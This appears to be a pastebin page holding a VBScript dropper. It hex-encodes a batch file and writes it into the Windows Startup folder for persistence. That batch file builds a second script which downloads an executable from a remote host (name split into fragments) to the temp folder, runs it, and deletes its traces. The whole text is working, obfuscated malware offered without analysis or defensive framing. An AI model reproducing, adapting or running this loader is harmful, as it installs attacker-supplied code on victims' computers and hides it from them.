SHOW:
|
|
- or go back to the newest paste.
| 1 | Dim sf | |
| 2 | sf = CreateObject("WScript.Shell").SpecialFolders("Startup")
| |
| 3 | Set File = CreateObject("Scripting.FileSystemObject").CreateTextFile(sf & "\d6f17d97.bat", True)
| |
| 4 | Dim hex1 | |
| 5 | hex1 = "6563686F206F66660A64656C202F712F662F73202574656D70255C64366631376439372E7662730A64656C202F712F662F73202574656D70255C643666313764" | |
| 6 | Dim count1 | |
| 7 | count1 = Len(hex1) | |
| 8 | For i = 1 To count1 Step 2 | |
| 9 | File.Write Chr(CInt("&h" & Mid(hex1,i,2)))
| |
| 10 | Next | |
| 11 | Dim hex2 | |
| 12 | hex2 = "39372E6578650A5345542066663D2574656D70255C64366631376439372E7662730A5345542070313D44696D20683A0A5345542070323D2053657420680A5345" | |
| 13 | Dim count2 | |
| 14 | count2 = Len(hex2) | |
| 15 | For i = 1 To count2 Step 2 | |
| 16 | File.Write Chr(CInt("&h" & Mid(hex2,i,2)))
| |
| 17 | Next | |
| 18 | Dim hex3 | |
| 19 | hex3 = "542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65637428224D0A5345542070363D6963726F736F0A5345542070373D66742E" | |
| 20 | Dim count3 | |
| 21 | count3 = Len(hex3) | |
| 22 | For i = 1 To count3 Step 2 | |
| 23 | File.Write Chr(CInt("&h" & Mid(hex3,i,2)))
| |
| 24 | Next | |
| 25 | Dim hex4 | |
| 26 | hex4 = "584D4C0A5345542070383D4854545022290A6563686F202570312525703225257033252570342525703525257036252570372525703825203E3E20256666250A" | |
| 27 | Dim count4 | |
| 28 | count4 = Len(hex4) | |
| 29 | For i = 1 To count4 Step 2 | |
| 30 | File.Write Chr(CInt("&h" & Mid(hex4,i,2)))
| |
| 31 | Next | |
| 32 | Dim hex5 | |
| 33 | hex5 = "5345542070313D44696D20733A0A5345542070323D2053657420730A5345542070333D203D204372650A5345542070343D6174654F626A0A5345542070353D65" | |
| 34 | Dim count5 | |
| 35 | count5 = Len(hex5) | |
| 36 | For i = 1 To count5 Step 2 | |
| 37 | File.Write Chr(CInt("&h" & Mid(hex5,i,2)))
| |
| 38 | Next | |
| 39 | Dim hex6 | |
| 40 | hex6 = "63742822410A5345542070363D646F64622E530A5345542070373D747265616D220A5345542070383D29200A6563686F20257031252570322525703325257034" | |
| 41 | Dim count6 | |
| 42 | count6 = Len(hex6) | |
| 43 | For i = 1 To count6 Step 2 | |
| 44 | File.Write Chr(CInt("&h" & Mid(hex6,i,2)))
| |
| 45 | Next | |
| 46 | Dim hex7 | |
| 47 | hex7 = "2525703525257036252570372525703825203E3E20256666250A5345542070313D682E4F70656E0A5345542070323D2022474554220A5345542070333D2C2022" | |
| 48 | Dim count7 | |
| 49 | count7 = Len(hex7) | |
| 50 | For i = 1 To count7 Step 2 | |
| 51 | File.Write Chr(CInt("&h" & Mid(hex7,i,2)))
| |
| 52 | Next | |
| 53 | Dim hex8 | |
| 54 | hex8 = "6874740A5345542070343D703A2F2F766D0A5345542070353D732E6834636B0A5345542070363D3070732E63630A5345542070373D3A393030392F0A53455420" | |
| 55 | Dim count8 | |
| 56 | count8 = Len(hex8) | |
| 57 | For i = 1 To count8 Step 2 | |
| 58 | File.Write Chr(CInt("&h" & Mid(hex8,i,2)))
| |
| 59 | Next | |
| 60 | Dim hex9 | |
| 61 | hex9 = "70383D73656375646F0A5345542070393D632E657865220A534554207031303D2C2046616C730A534554207031313D65200A6563686F20257031252570322525" | |
| 62 | Dim count9 | |
| 63 | count9 = Len(hex9) | |
| 64 | For i = 1 To count9 Step 2 | |
| 65 | File.Write Chr(CInt("&h" & Mid(hex9,i,2)))
| |
| 66 | Next | |
| 67 | Dim hex10 | |
| 68 | hex10 = "70332525703425257035252570362525703725257038252570392525703130252570313125203E3E20256666250A5345542070313D682E53656E640A6563686F" | |
| 69 | Dim count10 | |
| 70 | count10 = Len(hex10) | |
| 71 | For i = 1 To count10 Step 2 | |
| 72 | File.Write Chr(CInt("&h" & Mid(hex10,i,2)))
| |
| 73 | Next | |
| 74 | Dim hex11 | |
| 75 | hex11 = "2025703125203E3E20256666250A5345542070313D663D204372650A5345542070323D6174654F626A0A5345542070333D6563742822530A5345542070343D63" | |
| 76 | Dim count11 | |
| 77 | count11 = Len(hex11) | |
| 78 | For i = 1 To count11 Step 2 | |
| 79 | File.Write Chr(CInt("&h" & Mid(hex11,i,2)))
| |
| 80 | Next | |
| 81 | Dim hex12 | |
| 82 | hex12 = "72697074690A5345542070353D6E672E46696C0A5345542070363D6553797374650A5345542070373D6D4F626A65630A5345542070383D7422292E47650A5345" | |
| 83 | Dim count12 | |
| 84 | count12 = Len(hex12) | |
| 85 | For i = 1 To count12 Step 2 | |
| 86 | File.Write Chr(CInt("&h" & Mid(hex12,i,2)))
| |
| 87 | Next | |
| 88 | Dim hex13 | |
| 89 | hex13 = "542070393D7453706563690A534554207031303D616C466F6C640A534554207031313D6572283229200A534554207031323D2B20222F64360A53455420703133" | |
| 90 | Dim count13 | |
| 91 | count13 = Len(hex13) | |
| 92 | For i = 1 To count13 Step 2 | |
| 93 | File.Write Chr(CInt("&h" & Mid(hex13,i,2)))
| |
| 94 | Next | |
| 95 | Dim hex14 | |
| 96 | hex14 = "3D6631376439370A534554207031343D2E65786522200A6563686F20257031252570322525703325257034252570352525703625257037252570382525703925" | |
| 97 | Dim count14 | |
| 98 | count14 = Len(hex14) | |
| 99 | For i = 1 To count14 Step 2 | |
| 100 | File.Write Chr(CInt("&h" & Mid(hex14,i,2)))
| |
| 101 | Next | |
| 102 | Dim hex15 | |
| 103 | hex15 = "25703130252570313125257031322525703133252570313425203E3E20256666250A5345542070313D5769746820730A6563686F2025703125203E3E20256666" | |
| 104 | Dim count15 | |
| 105 | count15 = Len(hex15) | |
| 106 | For i = 1 To count15 Step 2 | |
| 107 | File.Write Chr(CInt("&h" & Mid(hex15,i,2)))
| |
| 108 | Next | |
| 109 | Dim hex16 | |
| 110 | hex16 = "250A5345542070313D2E54797065200A5345542070323D3D2031200A6563686F202570312525703225203E3E20256666250A5345542070313D2E4F70656E200A" | |
| 111 | Dim count16 | |
| 112 | count16 = Len(hex16) | |
| 113 | For i = 1 To count16 Step 2 | |
| 114 | File.Write Chr(CInt("&h" & Mid(hex16,i,2)))
| |
| 115 | Next | |
| 116 | Dim hex17 | |
| 117 | hex17 = "6563686F2025703125203E3E20256666250A5345542070313D2E77726974650A5345542070323D20682E7265730A5345542070333D706F6E7365420A53455420" | |
| 118 | Dim count17 | |
| 119 | count17 = Len(hex17) | |
| 120 | For i = 1 To count17 Step 2 | |
| 121 | File.Write Chr(CInt("&h" & Mid(hex17,i,2)))
| |
| 122 | Next | |
| 123 | Dim hex18 | |
| 124 | hex18 = "70343D6F6479200A6563686F2025703125257032252570332525703425203E3E20256666250A5345542070313D2E73617665740A5345542070323D6F66696C65" | |
| 125 | Dim count18 | |
| 126 | count18 = Len(hex18) | |
| 127 | For i = 1 To count18 Step 2 | |
| 128 | File.Write Chr(CInt("&h" & Mid(hex18,i,2)))
| |
| 129 | Next | |
| 130 | Dim hex19 | |
| 131 | hex19 = "200A5345542070333D662C2032200A6563686F20257031252570322525703325203E3E20256666250A5345542070313D456E642057690A5345542070323D7468" | |
| 132 | Dim count19 | |
| 133 | count19 = Len(hex19) | |
| 134 | For i = 1 To count19 Step 2 | |
| 135 | File.Write Chr(CInt("&h" & Mid(hex19,i,2)))
| |
| 136 | Next | |
| 137 | Dim hex20 | |
| 138 | hex20 = "0A6563686F202570312525703225203E3E20256666250A7374617274202F57202574656D70255C64366631376439372E7662730A7374617274202574656D7025" | |
| 139 | Dim count20 | |
| 140 | count20 = Len(hex20) | |
| 141 | For i = 1 To count20 Step 2 | |
| 142 | File.Write Chr(CInt("&h" & Mid(hex20,i,2)))
| |
| 143 | Next | |
| 144 | Dim hex21 | |
| 145 | hex21 = "5C64366631376439372E6578650A64656C202530" | |
| 146 | Dim count21 | |
| 147 | count21 = Len(hex21) | |
| 148 | For i = 1 To count21 Step 2 | |
| 149 | File.Write Chr(CInt("&h" & Mid(hex21,i,2)))
| |
| 150 | Next | |
| 151 | File.Close |
